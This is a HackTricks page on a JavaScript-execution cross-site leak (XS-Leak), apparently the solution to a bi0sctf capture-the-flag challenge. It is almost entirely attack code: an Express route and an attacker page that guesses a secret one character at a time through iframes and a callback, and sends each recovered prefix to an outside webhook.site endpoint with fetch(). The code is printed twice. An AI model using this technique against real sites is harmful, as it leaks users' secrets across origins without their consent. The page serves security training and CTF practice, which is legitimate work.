JavaScript Execution XS Leak

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
    let guess = req.query.guess
    let page = `<html>
                <head>
                    <script>
                            function foo() {
                                // If not the flag this will be executed
                                window.parent.foo()
                            }
                        </script>
                    <script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
                </head>
                <p>hello2</p>
                </html>`
    res.send(page)
});

Main page that generates iframes to the previous /guessing page to test each possibility

<html>
<head>
    <script>
            let candidateIsGood = false;
            let candidate = ''
            let flag = 'bi0sctf{'
            let guessIndex = -1

            let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

            // this will get called from our iframe IF the candidate is WRONG
            function foo() {
                candidateIsGood = false
            }

            timerId = setInterval(() => {
                if (candidateIsGood) {
                    flag = candidate
                    guessIndex = -1
                    fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
                }
                
                //Start with true and will be change to false if wrong
                candidateIsGood = true
                guessIndex++
                if (guessIndex >= flagChars.length) {
                    fetch('https://webhook.site/<yours-goes-here>')
                    return
                }
                let guess = flagChars[guessIndex]
                candidate = flag + guess
                let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
                console.log('iframe: ', iframe)
                hack.innerHTML = iframe
            }
            , 500);
        </script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

PreviousEvent Loop Blocking + Lazy images NextCSS Injection

Last updated 4 months ago

// Code that will try ${guess} as flag (need rest of the server code app.get('/guessing', function(req, res) { let guess = req.query.guess let page = `<html> <head> <script> function foo() { // If not the flag this will be executed window.parent.foo() } </script> <script src="https://axol.space/search?query=${guess}&hint=foo()"></script> </head> <p>hello2</p> </html>` res.send(page) });

<html> <head> <script> let candidateIsGood = false; let candidate = '' let flag = 'bi0sctf{' let guessIndex = -1 let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ' // this will get called from our iframe IF the candidate is WRONG function foo() { candidateIsGood = false } timerId = setInterval(() => { if (candidateIsGood) { flag = candidate guessIndex = -1 fetch('https://webhook.site/<yours-goes-here>?flag='+flag) } //Start with true and will be change to false if wrong candidateIsGood = true guessIndex++ if (guessIndex >= flagChars.length) { fetch('https://webhook.site/<yours-goes-here>') return } let guess = flagChars[guessIndex] candidate = flag + guess let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>` console.log('iframe: ', iframe) hack.innerHTML = iframe } , 500); </script> </head> <p>hello</p> <div id="hack"> </div> </html>